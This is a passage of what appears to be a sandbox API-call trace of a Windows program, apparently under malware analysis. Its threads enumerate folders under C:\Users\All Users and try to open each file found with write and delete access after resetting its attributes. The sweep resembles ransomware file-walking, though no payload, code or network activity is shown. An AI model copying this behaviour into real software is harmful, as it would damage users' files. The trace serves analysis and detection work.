	[0092.499] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.499] wcscmp (_String1="..", _String2=".") returned 1
	[0092.499] wcscmp (_String1="..", _String2="..") returned 0
	[0092.499] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1

Thread:
	id = 362
	os_tid = 0x14d0

	[0076.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17b28
	[0076.903] wcscpy (in: _Dest=0x2e17b28, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0076.903] wcscat (in: _Dest=0x2e17b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\"
	[0076.903] wcscat (in: _Dest=0x2e17b28, _Source="*" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*"
	[0076.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddee10
	[0076.903] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87c38
	[0080.230] wcscmp (_String1=".", _String2=".") returned 0
	[0080.230] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.239] wcscmp (_String1="..", _String2=".") returned 1
	[0080.241] wcscmp (_String1="..", _String2="..") returned 0
	[0080.241] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1
	[0080.241] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2=".") returned 1
	[0080.241] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2="..") returned 1
	[0080.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47168b0
	[0080.241] wcscpy (in: _Dest=0x47168b0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0080.241] wcscat (in: _Dest=0x47168b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\"
	[0080.241] wcscat (in: _Dest=0x47168b0, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag"
	[0091.973] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag")) returned 0xffffffff
	[0091.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x20) returned 0
	[0091.974] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.974] GetLastError () returned 0x2
	[0091.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0xffffffff) returned 0
	[0091.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47168b0) returned 1
	[0091.974] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1
	[0091.974] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2=".") returned 1
	[0091.974] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2="..") returned 1
	[0091.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50274b0
	[0091.974] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0091.974] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\"
	[0091.974] wcscat (in: _Dest=0x50274b0, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag"
	[0091.974] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag")) returned 0xffffffff
	[0091.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x20) returned 0
	[0091.974] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.974] GetLastError () returned 0x2
	[0091.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0xffffffff) returned 0
	[0091.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.975] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1
	[0091.975] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2=".") returned 1
	[0091.975] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2="..") returned 1
	[0091.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x47174b8
	[0091.975] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0091.975] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\"
	[0091.975] wcscat (in: _Dest=0x47174b8, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag"
	[0091.975] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag")) returned 0xffffffff
	[0091.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x20) returned 0
	[0091.975] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.975] GetLastError () returned 0x2
	[0091.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0xffffffff) returned 0
	[0091.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0091.975] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1
	[0091.975] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2=".") returned 1
	[0091.975] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2="..") returned 1
	[0091.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4717b30
	[0091.975] wcscpy (in: _Dest=0x4717b30, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft"
	[0091.975] wcscat (in: _Dest=0x4717b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\"
	[0091.975] wcscat (in: _Dest=0x4717b30, _Source="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag"
	[0091.976] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag")) returned 0xffffffff
	[0091.976] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x20) returned 0
	[0091.976] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.976] GetLastError () returned 0x2
	[0091.976] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0xffffffff) returned 0
	[0091.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717b30) returned 1
	[0091.976] FindNextFileW (in: hFindFile=0x2d87c38, lpFindFileData=0x2ddee10 | out: lpFindFileData=0x2ddee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0
	[0091.976] FindClose (in: hFindFile=0x2d87c38 | out: hFindFile=0x2d87c38) returned 1
	[0091.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddee10) returned 1
	[0091.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17b28) returned 1
	[0091.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733b40) returned 1

Thread:
	id = 363
	os_tid = 0x14d4

	[0076.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daf248
	[0076.904] wcscpy (in: _Dest=0x2daf248, _Source="C:\\Users\\All Users\\SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution"
	[0076.904] wcscat (in: _Dest=0x2daf248, _Source="\\" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\") returned="C:\\Users\\All Users\\SoftwareDistribution\\"
	[0076.904] wcscat (in: _Dest=0x2daf248, _Source="*" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\*") returned="C:\\Users\\All Users\\SoftwareDistribution\\*"
	[0076.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf2e0
	[0076.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf78
	[0079.328] wcscmp (_String1=".", _String2=".") returned 0
	[0079.328] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.328] wcscmp (_String1="..", _String2=".") returned 1
	[0079.328] wcscmp (_String1="..", _String2="..") returned 0
	[0079.328] FindNextFileW (in: hFindFile=0x2dacf78, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.328] FindClose (in: hFindFile=0x2dacf78 | out: hFindFile=0x2dacf78) returned 1
	[0079.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf2e0) returned 1
	[0079.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf248) returned 1
	[0079.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d857b8) returned 1

Thread:
	id = 364
	os_tid = 0x14d8

	[0076.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73030
	[0076.904] wcscpy (in: _Dest=0x2d73030, _Source="C:\\Users\\All Users\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0076.904] wcscat (in: _Dest=0x2d73030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Start Menu\\") returned="C:\\Users\\All Users\\Start Menu\\"
	[0076.904] wcscat (in: _Dest=0x2d73030, _Source="*" | out: _Dest="C:\\Users\\All Users\\Start Menu\\*") returned="C:\\Users\\All Users\\Start Menu\\*"
	[0076.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf548
	[0076.905] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf548) returned 1
	[0079.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73030) returned 1
	[0079.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73930) returned 1

Thread:
	id = 365
	os_tid = 0x14dc

	[0076.905] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73348
	[0076.905] wcscpy (in: _Dest=0x2d73348, _Source="C:\\Users\\All Users\\Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates"
	[0076.905] wcscat (in: _Dest=0x2d73348, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Templates\\") returned="C:\\Users\\All Users\\Templates\\"
	[0076.905] wcscat (in: _Dest=0x2d73348, _Source="*" | out: _Dest="C:\\Users\\All Users\\Templates\\*") returned="C:\\Users\\All Users\\Templates\\*"
	[0076.905] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dfa170
	[0076.906] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x2dfa170 | out: lpFindFileData=0x2dfa170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0079.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa170) returned 1
	[0079.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73348) returned 1
	[0079.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d68) returned 1

Thread:
	id = 366
	os_tid = 0x14e0

	[0076.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d5f8a0
	[0076.906] wcscpy (in: _Dest=0x2d5f8a0, _Source="C:\\Users\\All Users\\USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate"
	[0076.906] wcscat (in: _Dest=0x2d5f8a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\") returned="C:\\Users\\All Users\\USOPrivate\\"
	[0076.906] wcscat (in: _Dest=0x2d5f8a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\*") returned="C:\\Users\\All Users\\USOPrivate\\*"
	[0076.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8490
	[0076.906] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x2df8490 | out: lpFindFileData=0x2df8490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad578
	[0079.333] wcscmp (_String1=".", _String2=".") returned 0
	[0079.333] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2df8490 | out: lpFindFileData=0x2df8490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.333] wcscmp (_String1="..", _String2=".") returned 1
	[0079.333] wcscmp (_String1="..", _String2="..") returned 0
	[0079.333] FindNextFileW (in: hFindFile=0x2dad578, lpFindFileData=0x2df8490 | out: lpFindFileData=0x2df8490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ba8af75, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8ba8af75, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1
	[0079.333] wcscmp (_String1="UpdateStore", _String2=".") returned 1
	[0079.333] wcscmp (_String1="UpdateStore", _String2="..") returned 1
	[0079.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daedc8
	[0079.333] wcscpy (in: _Dest=0x2daedc8, _Source="C:\\Users\\All Users\\USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate"
	[0079.333] wcscat (in: _Dest=0x2daedc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\") returned="C:\\Users\\All Users\\USOPrivate\\"
	[0079.333] wcscat (in: _Dest=0x2daedc8, _Source="UpdateStore" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore"

Thread:
	id = 367
	os_tid = 0x14e4

	[0076.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2dfb618
	[0076.907] wcscpy (in: _Dest=0x2dfb618, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared"
	[0076.907] wcscat (in: _Dest=0x2dfb618, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\"
